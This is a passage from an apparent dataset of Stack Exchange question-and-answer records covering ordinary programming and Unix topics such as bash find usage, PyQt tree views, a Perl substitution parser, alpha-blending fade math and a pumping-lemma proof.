$\\mathtt{p}(X,Y) = \\mathtt{q}(\\mathtt{a},\\mathtt{b})$ and $X = Y$.Comparing predicates with duplicate variables comes up all the time in Prolog.  For example, one of the most iconic Prolog programs is list append, usually written as:append([], Ys, Ys).append([X|Xs], Ys, [X|Zs]) :- append(Xs, Ys, Zs).If you want to be very pedantic and say these programs don't illustrate terms with duplicate variables, then you can consider another iconic Prolog technique: difference lists. The most general difference list representation of a list $[1,2,3]$ is $[1,2,3|X]\\setminus X$."  } 
{  "id": "_codereview.172995"  , "question": "I'm working on Project Euler problem 19, which reads as follows:You are given the following information, but you may prefer to do some research for yourself.1 Jan 1900 was a Monday.     Thirty days has September,     April, June and November.     All the rest have thirty-one,     Saving February alone,     Which has twenty-eight, rain or shine.     And on leap years, twenty-nine.     A leap year occurs on any year evenly divisible by 4, but not on a century unless it is divisible by 400.How many Sundays fell on the first of the month during the twentieth century (1 Jan 1901 to 31 Dec 2000)?Note that my title is slightly misleading because this isn't counting all of the Sundays in the 20th Century, just the ones that fall on the first day of the month.Here's my code:public int HowManySundays()    {        // Have an array with the number of days in each month. For example, month 0 is January,        // which has 31 days.        int[] daysInEachMonth = new int[]        {            31,            28,            31,            30,            31,            30,            31,            31,            30,            31,            30,            31        };        int currentYear = 1900;        // First year in 1900        // We could calculate the first Sunday in 1901 to save a little time        // but that's not all *that* much of an optimization so it's not terribly important        int currentDay = 7;        int currentMonth = 0;        int numberOfSundays = 0;        while (currentYear < 2001)        {            // Add 7 each time so that we know that it's another Sunday            currentDay += 7;            // I don't particularly like the special reasoning for February for leap-year detection            // We don't actually have to do separate logic for centuries because the only century we            // care about is the year 2000, which we already know is evenly divisible by 400            int daysInMonth =                currentMonth == 1 ?                    ((currentYear % 4 == 0) ? 29 : 28) :                    daysInEachMonth[currentMonth];            if (daysInEachMonth[currentMonth] < currentDay)            {                currentDay -= daysInEachMonth[currentMonth];                currentMonth++;                // Months are 0 - 11                // See if we've wrapped around to a new year                if (currentMonth >= 12)                {                    currentMonth = 0;                    currentYear++;                }                // If day == 1, then it must be a Sunday on the first day of the month                if (currentDay == 1 && currentYear > 1900)                {                    numberOfSundays++;                }            }        }        return numberOfSundays;    }I have a trivial unit test (not included here) proving that my method does, in fact, return the correct answer (171).Does anyone have feedback on this (especially on its readability)? Is this decently efficient, or did I miss some optimizations?"  , "title": "Project Euler 19 (count Sundays in the 20th Century) with a while loop"  , "tags": "c#;programming challenge;.net;datetime"  } 
{  "id": "_unix.264249"  , "question": "I am trying to get files having size greater than 1k and with an txt extension my code is as follows :files=$(find foldername -size +1k -name \\*.txt -exec {} \\;)for item in $filesdo echo $itemdoneBut I am getting unexpected output as given below. Please help !!!DEST/sample - Copy - Copy.txt: line 1: Hello: command not foundDEST/sample - Copy - Copy.txt: line 2: This: command not foundDEST/sample - Copy - Copy.txt: line 3: In: command not foundDEST/sample - Copy - Copy.txt: line 4: $'\\r': command not foundDEST/sample - Copy - Copy.txt: line 5: User: command not foundDEST/sample - Copy - Copy.txt: line 6: -s: command not foundDEST/sample - Copy - Copy.txt: line 7: -d: command not foundDEST/sample - Copy - Copy.txt: line 8: -t: command not foundDEST/sample - Copy - Copy.txt: line 9: $'\\r': command not foundDEST/sample - Copy - Copy.txt: line 10: $'\\r': command not foundDEST/sample - Copy - Copy.txt: line 11: Hello: command not foundDEST/sample - Copy - Copy.txt: line 12: This: command not foundDEST/sample - Copy - Copy.txt: line 13: In: command not foundDEST/sample - Copy - Copy.txt: line 14: $'\\r': command not foundDEST/sample - Copy - Copy.txt: line 15: User: command not foundDEST/sample - Copy - Copy.txt: line 16: -s: command not foundDEST/sample - Copy - Copy.txt: line 17: -d: command not foundDEST/sample - Copy - Copy.txt: line 18: -t: command not foundDEST/sample - Copy - Copy.txt: line 19: $'\\r': command not foundDEST/sample - Copy - Copy.txt: line 20: Hello: command not foundDEST/sample - Copy - Copy.txt: line 21: This: command not foundDEST/sample - Copy - Copy.txt: line 22: In: command not foundDEST/sample - Copy - Copy.txt: line 23: $'\\r': command not foundDEST/sample - Copy - Copy.txt: line 24: User: command not foundDEST/sample - Copy - Copy.txt: line 25: -s: command not foundDEST/sample - Copy - Copy.txt: line 26: -d: command not foundDEST/sample - Copy - Copy.txt: line 27: -t: command not foundDEST/sample - Copy.txt: line 1: Hello: command not foundDEST/sample - Copy.txt: line 2: This: command not foundDEST/sample - Copy.txt: line 3: In: command not foundDEST/sample - Copy.txt: line 4: $'\\r': command not foundDEST/sample - Copy.txt: line 5: User: command not foundDEST/sample - Copy.txt: line 6: -s: command not foundDEST/sample - Copy.txt: line 7: -d: command not foundDEST/sample - Copy.txt: line 8: -t: command not foundDEST/sample - Copy.txt: line 9: $'\\r': command not foundDEST/sample - Copy.txt: line 10: $'\\r': command not foundDEST/sample - Copy.txt: line 11: Hello: command not foundDEST/sample - Copy.txt: line 12: This: command not foundDEST/sample - Copy.txt: line 13: In: command not foundDEST/sample - Copy.txt: line 14: $'\\r': command not foundDEST/sample - Copy.txt: line 15: User: command not foundDEST/sample - Copy.txt: line 16: -s: command not foundDEST/sample - Copy.txt: line 17: -d: command not foundDEST/sample - Copy.txt: line 18: -t: command not foundDEST/sample - Copy.txt: line 19: $'\\r': command not foundDEST/sample - Copy.txt: line 20: Hello: command not foundDEST/sample - Copy.txt: line 21: This: command not foundDEST/sample - Copy.txt: line 22: In: command not foundDEST/sample - Copy.txt: line 23: $'\\r': command not foundDEST/sample - Copy.txt: line 24: User: command not foundDEST/sample - Copy.txt: line 25: -s: command not foundDEST/sample - Copy.txt: line 26: -d: command not foundDEST/sample - Copy.txt: line 27: -t: command not found"  , "title": "Ignore spaces in for Loop while printing file name?"  , "tags": "bash;shell script;filenames"  , "accepted_answer": "Assuming -exec is to what you mean to do.(The option -exec executes a file not read it)The simple solution to print the filenames that match find options is:find foldername -size +1k -name \\*.txt -printIf you need the names to be assigned to a variable, you need more.To be able to deal with spaces in file names that result from the command find, the option -print0 is the usual solution:find foldername -size +1k -name \\*.txt -print0However, to be able to read the results into a bash variable, is not easy.There is a long explanation in this excellent Greg's wiki page#!/bin/bashunset awhile IFS= read -r -d $'\\0' file; do    a+=( $file )        # or however you want to process each filedone < <(find foldername -size +1k -name \\*.txt -print0)printf 'filename=%s\\n' ${a[@]}"  } 
{  "id": "_unix.342153"  , "question": "find fails to list the contents of the /etc directory when invoked in the obvious way and I'm not sure what the explanation is.find /etc just shows /etc, even though there are other files inside the directory.$ find /etc/etcalso$ find /./etc/./etcand as root$ sudo find /etc/etcHowever, I can see some files inside /etc when I run find /etc/. $ find /etc/. | headfind: /etc/./cups/certs: Permission denied/etc/./etc/./afpovertcp.cfg/etc/./afpovertcp.cfg~orig/etc/./aliasesOther commands such as ls show contents of /etc...$ ls -1 /etc | headafpovertcp.cfgafpovertcp.cfg~origaliasesaliases.dbIs this expected behavior for find?"  , "title": "OS X: BSD `find /etc` prints just `/etc`"  , "tags": "find;osx"  , "accepted_answer": "On OSX, /etc is a symbolic link, and find won't traverse that as if it were a directory.For what it's worth, /tmp and /var also are symbolic links (pointing in each case to subdirectories of /private).You could use (see POSIX find) the -H or -L options to get something like your intention."  } 
{  "id": "_unix.125758"  , "question": "I am currently using Arch linux. I am trying to print a pdf file for the command line, it is easier that way as I need to print several range of pages.Just for testing I issue a command to print a text file:lpr a.txtAnd it prints ok. Now I want to print the pdf file: lpr -P HP_LaserJet_2300_series  -o page-ranges=80-81  -o media=a4  -o sides=two-sided-long-edge  -o scaling=110 Introductory and Intermediate Algebra - Aufmann 4th.pdfWhen I issue lpq this is the result:HP_LaserJet_2300_series is readyRank    Owner   Job     File(s)                           Total Size 1st     alber   321     Introductory and Intermediate A   32868352 bytesSo the file is in the queue but is not printing and there are no processing jobs on the printer either.I then access CUPS web interface. I look at state of the pending jobs and the following message appears:stopped  Exception: /var/spool/cups/d00321-001 (file position 32580806): unknown token while reading object (PDF)"  , "title": "Can't print pdf file with lpr"  , "tags": "printing;pdf;cups"  } 
{  "id": "_unix.143838"  , "question": "As many people, I too have several email accounts. Until now, I have been using Thunderbird for my main account, and either used web interface for the other accounts, or used other email clients (Sylpheed, Balsa, ...). For some reason, I never liked the idea of having separate, independent accounts integrated in one email client, perhaps because the added complexity and possibility of confusion. When I used three different email clients, I had three truly independent email accounts.The only disadvantage is, the other (non-Thunderbird) email clients never worked as well as Thunderbird.Now I am wondering whether there is a possibility to use three independent instances of Thunderbird, so that I don't have to use inferior email clients.I know that when Thunderbird is already running, I cannot start another instance. Also, any additional instance would need its own (independent) config directory.Is there any way to achieve this?I am using Thunderbird (Icedove 24.6.0) on Debian WheezyUPDATE:I have found this article on MozillaZine, which suggests to use the -no-remote option and does not mention the option -new-instance at all.The man page lists both options, but does not explain what the difference is, if -new-instance is implied when -no-remote is used, or whether they should both be used at the same time.thunderbird -P profile_name -no-remotethunderbird -P profile_name -new-instanceSide note:The refered article also says, that:Multiple instances is intended for debugging, so use it at your own riskWell, I don't intend to use it for debugging, I want to use it for my work. What can possibly go wrong when using multiple instances? How can I mitigate that danger?"  , "title": "Using several independent instances of Thunderbird"  , "tags": "email;thunderbird"  , "accepted_answer": "You can start Thunderbird from the commandline with the -P <profile> option to specify a different profile. Within the different profiles you have complete seperation. IIRC specifying a profile implies the -new-instance option when starting thunderbird but if not, just add it.To create a new profile start thunderbird from the commandline with:thunderbird -ProfileManager -new-instanceOn the other hand, have you tried using the IMAP protocol? This gives me completely different trees of folders one for each account that I have in (one) Thunderbird session. Unless I actively copy messages from one account to the other everything stays separate and as long as you close the tree of the account your are not working on, things should not be confusing."  } 
{  "id": "_datascience.14538"  , "question": "I have downloaded and built octave library and it works fine . But I cannot call function minimizers like fminunc() , fmingc() etc to minimize my functions for performing logistic regression or using it in neural networks . Can these functions be accessed from c++ ? If yes, then how ?"  , "title": "How can I use octave function minimizers in c++?"  , "tags": "machine learning;neural network;logistic regression;optimization;octave"  } 
{  "id": "_codereview.92580"  , "question": "I have a QTreeview that is filled with data from data_for_tree dictionary. Suppose that dictionary represents the most common purchases a person makes. I call it source list.Data, shown in that list differs from data that is shown in the receiver list. Suppose a person inserted it via special form. The goal is - by clicking twice add data from source list to receiver list in proper format and in a proper way.The goal is reached, but it seems to me, by the very complicated way. First I get the selected items, then compare them to data_for_tree dictionary and get the rest of data (that is not shown), then make new item that is a tuple of QStandardItems, then add it to receiver list, then update a dictionary for the receiver list.I am sure that there is a better way for performing it. But due to my beginner's level I couldn't apply it. I'm going to add drag and drop option in the nearest future, and I think may be there is a shared (common) way for adding items by double clicking and drag'n'drop methods from one list to another.I ask for improvements, optimization and comments. #!/usr/bin/env python -tt# -*- coding: utf-8 -*-#from PySide.QtGui import *from PyQt5.QtGui import *from PyQt5.QtCore import *from PyQt5.QtWidgets import *import sysreload(sys)sys.setdefaultencoding('utf8')data_for_tree = {tomato:{color:red,ammount:10, note:a note for tomato,price:0.8},banana:{color:yellow,ammount:1, note:b note for banana, price:.6}, some fruit:{color:unknown,ammount:100, note:some text,price:2.1}}data_for_receiver = {1:{name:milk,price:3.2,note:I love milk}, 2:{name:coca-cola,price:.8,note:coke forever}}class ProxyModel(QSortFilterProxyModel):    def __init__(self, parent=None):        super(ProxyModel, self).__init__(parent)    def lessThan(self, left, right):        leftData = self.sourceModel().data(left)        rightData = self.sourceModel().data(right)        try:           return float(leftData) < float(rightData)        except ValueError:            return leftData < rightDataclass MainFrame(QWidget):    def __init__(self):        QWidget.__init__(self)        self.MyTreeView = QTreeView()        self.MyTreeViewModel = QStandardItemModel()        self.MyTreeView.setModel(self.MyTreeViewModel)        self.most_used_cat_header = ['Name', ammount, color]        self.MyTreeViewModel.setHorizontalHeaderLabels(self.most_used_cat_header)        self.MyTreeView.setSortingEnabled(True)        self.MyTreeView_Fill()        self.receiver_tree = QTreeView()        self.receiver_model = QStandardItemModel()        self.receiver_tree.setModel(self.receiver_model)        self.receiver_tree_header = ['#','Name', price]        self.receiver_model.setHorizontalHeaderLabels(self.receiver_tree_header)        self.MyTreeView.doubleClicked.connect(self.addToReceiver)        self.receiver_fill()        MainWindow = QHBoxLayout(self)            MainWindow.addWidget(self.MyTreeView)        MainWindow.addWidget(self.receiver_tree)        self.setLayout(MainWindow)    def addToReceiver(self):        indexes = self.MyTreeView.selectedIndexes()        index_list =[i.data() for i in self.MyTreeView.selectedIndexes()]        last_id = max(int(i) for i in data_for_receiver)        for k in data_for_tree:            v = data_for_tree[k]            if [k,v[ammount],v[color]] == index_list:                i =QStandardItem(str(last_id+1))                name = QStandardItem(k)                price = QStandardItem(format(float(v[price]), .2f))                tooltip = v[note]                name.setToolTip(tooltip)                item = ( i, name, price)                self.receiver_model.appendRow(item)                upd  = {name:k,price:v[price],note:v[note]}                data_for_receiver[str(last_id+1)] = upd    def MyTreeView_Fill(self):        for k in data_for_tree:            name = QStandardItem(k)            ammount = QStandardItem(data_for_tree[k][ammount])            note = QStandardItem(data_for_tree[k][color])            name.setEditable(False)            tooltip = price +format(float(data_for_tree[k][price]), .2f)+<br>            tooltip += data_for_tree[k][note]            item = (name, ammount, note)            name.setToolTip(tooltip)            self.MyTreeViewModel.appendRow(item)        self.MyTreeView.sortByColumn(1, Qt.DescendingOrder)        proxyModel = ProxyModel(self)        proxyModel.setSourceModel(self.MyTreeViewModel)        self.MyTreeView.setModel(proxyModel)        c = 0        while c < len(self.most_used_cat_header):            self.MyTreeView.resizeColumnToContents(c)            c=c+1    def receiver_fill(self):        for k in data_for_receiver:            v = data_for_receiver[k]            i = QStandardItem(k)            name = QStandardItem(v[name])            price = QStandardItem(format(float(v[price]), .2f))            tooltip = v[note]            name.setToolTip(tooltip)            item = (i,name, price)            self.receiver_model.appendRow(item)        c = 0        while c < len(self.receiver_tree_header):            self.receiver_tree.resizeColumnToContents(c)            c=c+1if __name__ == __main__:    app = QApplication(sys.argv)    main = MainFrame()    main.show()    main.move(app.desktop().screen().rect().center() -     main.rect().center())    sys.exit(app.exec_())"  , "title": "Adding data from QTreeVIew to QTreeView"  , "tags": "python;beginner;pyqt"  } 
{  "id": "_unix.42065"  , "question": "I have installed ncurses package from source, and now I have$HOME/local/include/ncurses/curses.h$HOME/local/include/ncurses/ncurses.hon my filesystem. I have also set up the search pathes so that$ echo $C_INCLUDE_PATH$HOME/local/include:$ echo $CPLUS_INCLUDE_PATH$HOME/local/include:(i have eddited the output of echo to replace home path with $HOME)however, when i ./configure another package i getchecking ncurses.h usability... nochecking ncurses.h presence... nowhat's the problem that the system cannot detect curses installation?"  , "title": "ncurses.h is not found, even though it is on the search path"  , "tags": "compiling;configure;ncurses"  , "accepted_answer": "configure scripts produce config.log (in the same folder) files which contain all the details on the tests it ran. They're not particularly easy to read, but open it up and search for checking ncurses.h usability. Look at what went wrong with the small test program it tried to compile.My guess is, it doesn't care about $C_INCLUDE_PATH and you'll need to pass it to the build system in a different matter. configure options (eg. --includedir=$HOME/local/include) and $CFLAGS + $CXXFLAGS + $CPPFLAGS  (adding -I$HOME/local/include) come to mind."  } 
{  "id": "_unix.27207"  , "question": "I have a D-Link DI-624 rev. D2 Router. It is based around an Atheros AR2316A-001 chipset, and has 8MB RAM.I opened the device to check for actual parts use in it, and I can confirm, it is indeed the AR2316A-001 chipset with PSC A2V64S40CTP (8MB RAM). I couldn't locate the flash chip, the original firmware is 1MB in size, I don't know if anything larger can be loaded onto the device. I was wondering, If I could load OpenWrt on it, so I compiled OpenWrt with the AR231x chipset as Target. Now, the compile process yielded those squashfs images:openwrt-atheros-np25g-squashfs.binopenwrt-atheros-ubnt2-pico2-squashfs.binopenwrt-atheros-ubnt2-squashfs.binopenwrt-atheros-ubnt5-squashfs.binopenwrt-atheros-wpe53g-squashfs.binAll those files are around 2.4MB to 2.5MB in size, which is far more, than the firmware available from D-Link (di624revD_firmware_404.bin is around 1MB). I was wondering which file I should try to upload if any.On the DD-WRT page for supported devices this router is listed, revision C, which uses the same chipset.The DI-624 has an interesting emergency feature comparable to other D-Link products, like the DIR-600: When holding down the reset button while connecting power to the device, the router goes into an emergency restore mode. Then, when going to 192.168.0.1 with a browser, you can upload another firmware, no matter how badly bricked the router is.In case anyone succeeded with flashing an alternative OS onto a DI-624, I'd very much like to know how. There was some guy at the OpenWrt forums that claimed he could boot Linux on the DI-624, but he didn't really explain how he did it.I wasn't sure whether this question belongs here or electronics.SE"  , "title": "D-Link DI-624 H/W ver. D: Flashing OpenWrt"  , "tags": "embedded;openwrt;dd wrt"  , "accepted_answer": "Until you determine, what type and size of Flash ROM is used in the device, you should not risk flashing it with anything other than dedicated firmware. Atheros chipsets are very common across a wide range of wireless devices and the sole fact of using a particular chip does not guarantee that the entire device will work correctly with your firmware. The chipset is like a coputer CPU + some peripherals, but not necessarily all. And the system storage must be supported.Edit: If you'd read carefully, you'd see that the page you linked to presents a list of incompatible devices. Since DI-624 is listed there, it is definitely not supported by dd-wrt. This makes it almost certain, that your custom OpenWrt image would not work either."  } 
{  "id": "_unix.31322"  , "question": "Possible Duplicate:Redirecting stdout to a file you don't have write permission on I'm trying to install drupal according to the instructions given in this tutorial:http://how-to.linuxcareer.com/how-to-install-drupal-7-on-ubuntu-linuxand am stuck on a step:$ cd /etc/apache2/sites-available$ sudo sed 's/www/www\\/drupal/g' default > drupalbash: drupal: Permission deniedThe permissions for /var/www/drupal are set to 777.    "  , "title": "permission denied when redirecting sudo sed output"  , "tags": "permissions;sudo;io redirection"  , "accepted_answer": "The tutorial does not use sudo and requires a root shell. You can get a root shell with sudo -i.In case you prefer sudo, the redirection is handled by the shell and not by the sudo command. So you can't create a file in /etc/apache2/sites-available by directing the output as you did. According to the sudo manual, you should use a subshell like:$ cd /etc/apache2/sites-available$ sudo sh -c sed 's/www/www\\/drupal/g' default > drupal"  } 
{  "id": "_codereview.84081"  , "question": "I have written a program where the user inputs a regular expression and a replacement string, and the program will search through a set of files and do the replacements. The user is allowed to use backreferences in the replacement string (to refer to capture groups in the regex). The part of the program I would like you to consider is the sub routine substitute_regex_backref below that searches a input string (for example the contents of a file) and does the replacements:#! /usr/bin/env perluse feature qw(say);use strict;use warnings;my $old_str = '$1B<$ <hello> $> aba B<$ <kk> $>$1';my $str = $old_str;my $regex = qr'B<\\$ <(.*?)> \\$>';my $replace = 'I<\\$1$1\\$1>';(my $cnt, $str) = substitute_regex_backref( $str, $regex, $replace );say Old string: '$old_str';say Number of replacements: $cnt;say New string: '$str';exit;### ($num_substitutions, $new_str) =#     substitute_regex_backref( $str, $regex, $replace )### This sub routine is based on a stackoverflow.com answer# by username Kent Fredric, see http://stackoverflow.com/a/392649/2173773## Replace all occurences of $regex in $str with $replace.# Returns number of replacements and the new string.## The $regex input is assumed to be a regex quoted string. For example:#  my $regex = qr/A simple (\\w+) example/;## The replacement string $replace is allowed to have backreferences:#   Example: $replace = a $1 b# $1 is here treated as a backreference. It corresponds to capture group number 1# in the $regex string.## The replacement string $replace can also have backslash escaped dollar signs,#  Example:  $replace = \\$1 a $1 b # Such escaped dollar signs should be replaced by#  a literal '$' (and not treated as a backreference) # Note: This subroutine was written to avoid using the ee modifier technique:#   $var =~ s/$find/$replace/ee;# which has sequrity risks if the $replace string comes from user input.#sub substitute_regex_backref {    my ( $str, $regex, $replace ) = @_;    # First obtain an array @m of matches    my @m = $str =~ /$regex/g;    if (@m == 0) {        return (0, $str);    }    my $special_character_seq = \\x41\\x42\\x43\\x44;    # Remove any dollar signs from $str    $str =~ s/\\$/$special_character_seq/g;    # If $regex contain escaped dollar signs (to be treated as    # literal dollar signs), we need to replace    # them with $special_character_seq since we have removed all    # dollar signs in the previous line    $regex =~ s/\\\\\\$/$special_character_seq/g;    # Do the replacement, but dollar signs in the $replace variable    # are left as literal dollar signs     $str =~ s/$regex/$replace/g;    # Replace backslash escaped dollar signs with special string    $str =~ s/\\\\\\$/$special_character_seq/g;    # use reverse function to cope with mixed one- and two-digit back references    # For example, $12 should be dealt with before $1, in order to avoid confusion.    for( reverse 0 .. $#m ){         my $n = $_ + 1;        my $val = $m[$_];        # Replace $n with the value of capture group        $str =~ s/\\$$n/$val/g;        }        # Reinsert all literal dollar signs:        $str =~ s/$special_character_seq/\\$/g ;    return (@m + 0, $str); }Any comments and suggestions are appreciated. I am especially concerned with the use of the $special_character_seq variable, if it is necessary or how to avoid using it.."  , "title": "Regex substitution using a variable replacement string containing backreferences in Perl"  , "tags": "perl"  , "accepted_answer": "This is incredibly hackish and broken code. Input that contains the magic substitution string (ABCD) will lead to incorrect output, and no steps to guard against this were taken. Even worse, the documentation is misleading since it uses double-quoted strings.If you perform some escape encoding, then you must also escape the escape mechanism whenever it occurs in the input. For example, in single-quoted or q()-style strings, the closing delimiter is a forbidden symbol and must be escaped with a backslash \\. However, there must also be a way to escape the backslash itself so that we can express both the strings ' via '\\'' and \\' via '\\\\\\''. An alternative encoding in languages where two string literals cannot be directly adjacent is to use the delimiter as an escape character. If ' is the delimiter then '' cannot occur naturally except when denoting the empty string, so ' can be encoded as '''' and \\' can be encoded as '\\'''.In our case, dollar symbols are forbidden and are escaped by the sequence ABCD, but that sequence itself is not escaped.Instead of figuring out a proper way to escape this so that you can cobble together a half-solution using successive substitutions, let's take a step back and treat your substitution syntax as a serious language of its own. And languages get a parser. In particular, your language is a concatenation of three elements:literal parts that consist of anything that's not a backslash or a dollar sign,escaped characters that must at least contain $ via \\$ and \\ via \\\\,backrefs that are a dollar sign followed by a positive non-zero integer.The point that backslashes need escaping as well follows directly from the discussion above.The syntax for backrefs is problematic since there's no way to properly delimit the number. Assume that we want to surround the capture group 1 with the letter a, and we can use the replacement directive 'a$1a', but assume we want to surround it with the digit 4, and '4$14' would parse more sensibly as the digit 4 followed by the backref $14. Perl  following established shell syntax  offers a ${1} syntax for these cases, and we should as well. Your code tries to deal with this problem by looping through all possible backrefs starting with the largest number, but given ten backrefs we wouldn't be able to discern $10 from ${1}0!Therefore, the backref syntax ought to be a dollar symbol followed by either a sequence of decimal digits not starting with zero or else by such a sequence enclosed in matching curly braces. Clearly specifying it like this allows us to die when there is an unknown backref such as $666 when we only have three matches.If we want to parse this substitution language in Perl, m/\\G.../gc-style parsing is a viable option since the language is regular. The below function takes a replacement string, parses it, and returns a function that given a list of captures returns the fully substituted string.use Carp;use Scalar::Util 'reftype';sub parse_replacement {  my ($replacement) = @_;  my @tokens;  # literals are strings, backrefs are refs  pos($replacement) = 0;  while (pos($replacement) < length($replacement)) {    # normal literals    if ($replacement =~ /\\G( [^\\$\\\\]+ )/xgc) {          # if the previous token was literal, concatenate rather than pushing          if (@tokens and not defined reftype $tokens[-1]) {            $tokens[-1] .= $1;          }          else {            push @tokens, $1;          }        }        # escapes        elsif ($replacement =~ /\\G [\\\\]/xgc) {          if ($replacement =~ /\\G ([\\$\\\\])/xgc) {            # if the previous token was literal, concatenate rather than pushing            if (@tokens and not defined reftype $tokens[-1]) {              $tokens[-1] .= $1;            }            else {              push @tokens, $1;            }          }          elsif ($replacement =~ /\\G\\z/xgc) {            croak Illegal trailing backslash;          }          else {            $replacement =~ /\\G (.)/smxgc;            croak sprintf Escape can only contain backslash or dollar sign, not U+%4X '%s', ord $1, $1;          }        }        # backrefs        elsif ($replacement =~ /\\G [\\$]/xgc) {      if ($replacement =~ /\\G [{]/xgc) {        if ($replacement =~ /\\G( [1-9][0-9]* )/xgc) {          my $n = $1;          push @tokens, \\($n - 1);          if ($replacement =~ /\\G [}]/xgc) {            # all is OK          }          else {            croak Expected closing curly brace for \\${$n} identifier;          }        }        else {          croak 'Expected ${123} style numeric identifier inside ${...}';        }       }      elsif ($replacement =~ /\\G( [1-9][0-9]* )/xgc) {        my $n = $1;        push @tokens, \\($n - 1);      }      else {        croak 'Expected $123 or ${123} style number after dollar sign';      }    }    else {      croak sprintf Illegal state  expected literal, escape or backref at position %d, pos($replacement);    }  }  return sub {    my ($captures) = @_;    my $buffer = '';    for my $token (@tokens) {      if (reftype $token) {        my $i = $$token;            if ($i < @$captures) {              $buffer .= $captures->[$i];            }            else {              croak sprintf 'Unknown backref $%d; there are only %d captures', $$token, 0+@$captures;        }      }      else {        $buffer .= $token;      }    }    return $buffer;  };}Note that this code handles any eventuality and is therefore clearly correct and tries to provide meaningful error messages. It could further be improved by including the exact position and context in the error message.There are various other problems with your code  I immediately see minor stylistic problems and another large-scale logical problem  but I'll leave those to another answer to tackle.Your development would benefit from using a stringent set of test cases that handles edge cases and deliberately difficult inputs in order to find out whether your code actually matches your implementation. The Test::More module is an excellent place to start testing with Perl."  } 
{  "id": "_computergraphics.1850"  , "question": "I have a game that has simple particles (basically dots) moving around the screen leaving a trail.My ultimate goal is to be able to change the opacity of the solid black fading texture each drawing call in a way so that I can keep the length of a particle with trails (using a accumulation buffer) is the same even though the particle movement might move with time-stepping.  The way I render my particles is I render the current frame based on the particles position, lets call this texture A.  Then I take the previous frame and draw a solid black texture over it with set opacity in order to fade this, lets call this texture B.  Then I draw texture A over texture B.  This way the particle leaves a trail based on where it has been.  I am currently time-stepping the movement of the particles so that no-mater how much latency their is it always moves the same speed (considering real-world time).In essence I want to be able to say say that the particle trial will always be 100 pixels (considering the particle moves 60 pixels in a second) , and have it be that way even if the frame-rate drops.  Currently when the frame rate drops the accumulation buffer gets run less times and thus the trail is longer the more latency their is.The information I need to know to do this is how exactly does fading work. Because I need to change the opacity of the black texture in a way that allows it to fade more when the accumulation buffer is called less times per second, and fade less when it is called many times per second.  Right now I really dont understand what happens to a pixel when a black texture with a specific opacity is on it.Here is some data I collected.Data 1:This is a chart of the particle trails.  The x axis represents the FPS it was running at, and the y axis is how many pixels long the trail was.  On the left it says what opacity the black texture used in the accumulation buffer was.You can find all the data, and some best fit line formulas at here (on desmos)It is important to note I stopped counting after V was lower then 20 since the difference between colors starts getting really small.some things I noticed about this is that their seems to be either a exponential or division relationship between the numbers.  Also I noticed that their were segments for each frame before it was faded, and that the amount of them that were visible were about the same no-mater the fps when considering the same opacity of the black texture.Data 2:I recreated what I thought was going on with a fading texture with paint.net.  I made a 100x100 picture and colored it red. I then added a layer with one black pixel at an opacity of 25/255 then I duplicated this and added another pixel, basically I created a gradient.  Then I went through and labeled each pixel considering its rounded darkness (in hsv color space).  Then labeled the difference between the darkness values.  Unfortunately from this I didnt learn much.  Just reaffirmed that it is a non linear relationship. And I also noticed if I did the fade one more time that all the darkness values shifted to the square next to them.  So I could predict the darkness values if I knew how many times the fade had been applied.So what happens when a semitransparent black texture is blended over another one?If you are willing to put in some extra thought what would a formulabe that would give me the opacity the black texture needs to be inorder to make the particle trail be about 'N' pixels long, given thedt since last frame?"  , "title": "Please help me understand what happens as an image is faded to black in order to time-step particle fading"  , "tags": "opengl;transparency;particles"  , "accepted_answer": "The basic equation for alpha blending is as follows:$$ c_\\text{final} = c_\\text{source} \\cdot \\alpha + c_\\text{dest} \\cdot (1 - \\alpha) $$Here, $c_\\text{source}$ is the color of the thing being blended, $c_\\text{dest}$ is the background onto which you're blending it, and $\\alpha$ is between 0 and 1.In your case, $c_\\text{source} = 0$ (black fading texture), so blending black $n$ times over a background reduces to$$ c_\\text{final} = c_\\text{dest} \\cdot (1 - \\alpha)^n $$which is indeed an exponential falloff as you guessed. You can plug this formula in and get numbers pretty similar to those you posted (although when I did it, my results were off by one or twomaybe due to rounding differences; I'm not sure).Regarding your problem of making the trails appear the same regardless of framerate, a simple approach is to run the accumulation buffer passes multiple times per frame if necessary, so that there's effectively a fixed timestep for the trail regardless of framerate. That will probably give better-looking results than attempting to fiddle with the alpha based on the framerate. It might be too slow, though.A potentially more efficient approach would be to have the particles spawn a new trail particle every so often, where each trail particle stays fixed in position, with its alpha going from 100% to 0 over some length of time (and then it gets recycled). You have to re-render all the particles every frame, but it could end up being faster overall if the overhead of the full-screen blending passes for the accumulation buffer get to be too high.I should point out though that all of these approaches actually perform time-based fading, not distance-based as you asked for (100-pixel trails). If all the particles move at the same speed, you can just tweak the fade time to make the trails the desired length, but if different particles move at different speeds, then you would need to account for that when setting the fade times for their trails. There's also no trivial way to do that with the accumulation buffer approach, since it implicitly uses the same fade time for everything on the screen."  } 
{  "id": "_cs.72663"  , "question": "Im trying to prove that $L=\\{w\\#s : |w|=|s|, w \\neq s\\} \\notin CFL$ using the pumping lemma. So I said, let say $L \\in CFL$ so by the pumping exists $p$ which is the pumping length of language $L$, I think $ s = 0^{m}1^{p}\\#1^{m}0^{p} \\in L$  would be a good word to start with, I can write $s = uvxyz$ and i want $uv^{i}xy^{i}z\\notin L$  i want somehow to force the new word to Not contain $'\\#'$ or $|w|\\neq |s|$. The first option could be achived if ill make sure $'\\# \\in v\\cup y$ and ill just choose $i=0$. And for the second option, i want to force $|v|\\neq |y|$ and then for every $i$ it will be good. But i cant see how to analyize the word fulfills the requirements.Edit:I think it isnt a duplicate question, This language isnt context free as mention in the comments.The $\\#$ char is the thing that make the difference between the language that was suggested as a duplicate post.I've succsed to prove it by the pumping lemma when choosing the word $w = 0^{p!+p}1^{p}\\#0^{p}1^{p!+p}$ and $i=1+\\frac{p!}{t}$ to pump with in the non trivial part where $w=uvxyz$ is the partition and $|v|=|y|, v\\subseteq w $ and $ y\\subseteq s$ , this way ill get that $uv^{i}xy^{i}z=w\\#s$ where $w=s$ Full proof : (more rigorous proof to this question than mine) Assume by way of contradiction that $L  CFL$. Let $p > 0$ be the pumping constant for $L$guaranteed by the pumping lemma for context-free languages. We consider the word$s = 0^{m}1^{p}\\#0^{p}1^{m}$ where $m=p!+p$ so $s  L$.Since $|s| > p$, according to the pumping lemma there exists a representation $s = uvxyz$, such that$|vy| > 0$, $|vxy|  p$ , and $uv^{j}xy^{j}z  L$ for each $j  0$.We get a contradiction by cases:If $v$ or $y$ contain $\\#$: Then for $i = 0$, we get that $uxz$ doesnot contain $\\#$, so $uxz \\notin 